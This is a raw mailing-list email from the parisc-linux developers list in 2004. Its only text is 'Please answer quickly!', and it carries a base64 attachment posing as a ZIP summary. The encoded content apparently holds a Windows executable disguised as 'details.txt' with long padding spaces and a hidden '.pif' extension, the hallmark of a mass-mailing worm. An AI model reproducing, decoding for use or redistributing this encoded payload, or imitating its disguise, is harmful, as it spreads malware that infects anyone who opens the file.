Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from parisc-linux.org (pcp09118634pcs.union01.nj.comcast.net
	[69.142.236.70])
	by dsl2.external.hp.com (Postfix) with ESMTP id 38E5749E1
	for <parisc-linux@parisc-linux.org>;
	Tue, 20 Apr 2004 14:39:39 -0600 (MDT)
X-Priority: 3
X-MSMail-Priority: Normal
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Tue, 20 Apr 2004 20:39:51 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:21486

This is a multi-part message in MIME format.

------=_NextPart_000_0016----=_NextPart_000_0016
Content-Type: text/plain;
	charset="Windows-1252"
Content-Transfer-Encoding: 7bit

Please answer quickly!


------=_NextPart_000_0016----=_NextPart_000_0016
Content-Type: application/octet-stream;
	name="summary2004_parisc-linux.zip"
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
	filename="summary2004_parisc-linux.zip"

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
ArHrNARSPjPNMMeOtER15qgV4jwsWOq31eHZvmA0koklzjuoGhCHod4wemTB4wzFKQpzqXp3
VKR96SsgqRre2wuB3YnPCd0mxvApN7YTvbd16K/MJEe803nLEivqoFrfGcKRQ/D4zeDtSNDH
ZtG+LztVK5z1v5QcI8EdpkC0PMCJUcT8f8PDneWBBxgTQLfXhjGoAcP+bM6BxQ7GPFKuKEUi
RdZniufvAoLZmdeYXQdmU2u7K7van3I5u1bTmT79KcwVCV4aMpWS70tGDMhLP3vJfVrz79ok
ys1e681oUIOnx/GuUcMm9hL27/9kHwj9c66KNfVt4KI58JDifLHwMuQqbKiuXMCvT2Vkadqo
efwzwdKvyq9T218y9iW4wHrM0VClcP1dgz8D+xQhYouweUX1MOsLWU4fySYxPffN2hDwaCAB
9ct7ScycxAvEy8BefEFPm9GhmofjbQzD8CFbmA9ffYNIxSTyVaqV9blmtzFwDie9oEngHFHb
hvRQJ4CeCpoH7+3NQv7XGRunkE9aeooQRogdS3YRepB5Ylt2vHmKTl8E3e5GSe1GvHM/KiqR
LPa9v+v9RkuKrNt/WiDq9Yj+IEMJcB/1Sf0lPED1cG647FKUmb6SS4LAd5R7lJJ2RiY2j59e
DWrl+6v14vjfNYWZ5mQgSz5RO3YnbLGxvqXejgxPVIjIFQWDTXzQqpC4e09lZUVGYid3LXWW
mEsXlLHTkmih4CyBtHImvdRWbLY6sql6Sf1jodqq7k3QS6Iv5MbL46CYBuQm00g5RKom5lP7
XFE2Dt5aE1QIbD7f2XQ7tD/xnXK0kGz7kM5TqLgMb487OWhfaJImYW5kYY5PG7V4mWkYbp+D
CeaGDtUj60xnQH/wiWeh90Kq8wRdwf1farLt8dmX6TChgZDevghoKFNmIJXlcxe+xFikGBNi
abhq8mYmcHn8K64K3PmYzJuGWIfkcutZLiEVMupGL1qeDznADTUdnP4tI17gVdmgR5oOUUc3
invvUaKq/tLKe6FhysYZanqAg00/7KnfDyNiGfCE4sJzUIsHQJ8+2X95+2i2GQ1R2vEq5ojI
mzfHikxdlLSY9muJr+qYreW9raUsMs3sChSetgo8ey9gxLG91iX4J/ntBGZunE7f0IKKJjac
aq3W94DMEUpBzkRmnSbOx3eshdeJeGrHJffaa23QJ+JTIzrqFVWMoMFpJXErxc2TLI9WHo3F
aKWz5Rxou9CGkNCn7QVU03UZt911JkgLQ909tockALv2/FfANGKe5kj80T+Z0WBT3Y8b3zEB
I0+7U0GfPbowGWRES1vtMfTmyevQrpOnyB7rfQRBdp2nAl/vWzcP+kssKqj3jrWSXg28H7k1
PWKPiAPfTamZlaQ8SrWujL6UrLdWeQ2VL/5P13wk5viJzCP9xTIkf+Fir663h9HhBCwisy6b
dqw7itp+pnQoah/HDkolt3V0NZgC9DLCM3MU5+vl+yCXVnLE+zU2H5WXUFfamPT5GCKPC8pn
KkTAf6eAcOwJGnrwSlCcFaW6PziGzMbzbNHMScxJkdrjlAkL5a++HvnDmhMOWUs5akyqsb/H
0TQS0VJd7Sr3B5IuFokjhr3Mc/7b942ASUftXpWlPzEtmxw/8RUi1lGexoF4mp88eqIsz9rM
9PJ/D2ftXVHuJ3nqNYqCBy8EoRknk6O+deDSZPaU6mP5/U9gxqAgb8wvwaOjQoujWtKlGuzW
5oPc1DKtnW6hYgMgq95VoM6JaVWsc65P2AuzBJ9ZVKIloPWP+XkZM/CdnWkGJqoN5e9L0kTZ
1dJR1uu+xETKVPH6/apmsO5yvx8qsKEFN8/eyqrjA43OKDsdEHss4kNv7GJrxNHfNDITS/dQ
r6vjbtdj5HFyBaeIcdHTz0M50or97Qq2fS8VC5I2RJLvv97PKSBYf3j/VPZjftfgORYxnszg
rY2DyyA7LDrQplL+glV53R9MUSaljabv0i7IUMRNI51ELb0dghpEgmSvn9/MJG9Sd5HinV72
o7M8eLjVsXZGCzn00UsYo0DDD/cTQuqVZcvOvun+Z2KE4ihcI2UCPI6r+fsMHD3qKGJQ8lTz
doV+ZwizkNlyWXYNMlbX+r81V/6fv3XvpOumnvg77bk4KrPFhN4gccYoP/lDuwxGK+C+gSsz
8aOK32atjXXuE1Z/5YWrVr0d1zOhCQwLcfGsryDoGiyJ/Mfbdp86FwnLv0KDnfO9J+vvG4mS
pFzwxqLDt6XY02CF6A0AfAHpE2HHcutsI53gREsxjZ4MBgkxE0s3gqTQ/AwMDxqJWj0+RMXM
ivAuUCy0yi/2OkY/lCuLBUpWjIDaNmafhPplbDlD+MQafGIBYstUWeBsgrR+hwMvgqGzsT+a
DeZICaVl7WYS363z8ROKwMtn9gcLZcS1X2Y1ffUbYwSdhYjfkmyJY0O2o5IzGjSiGUTN9YjB
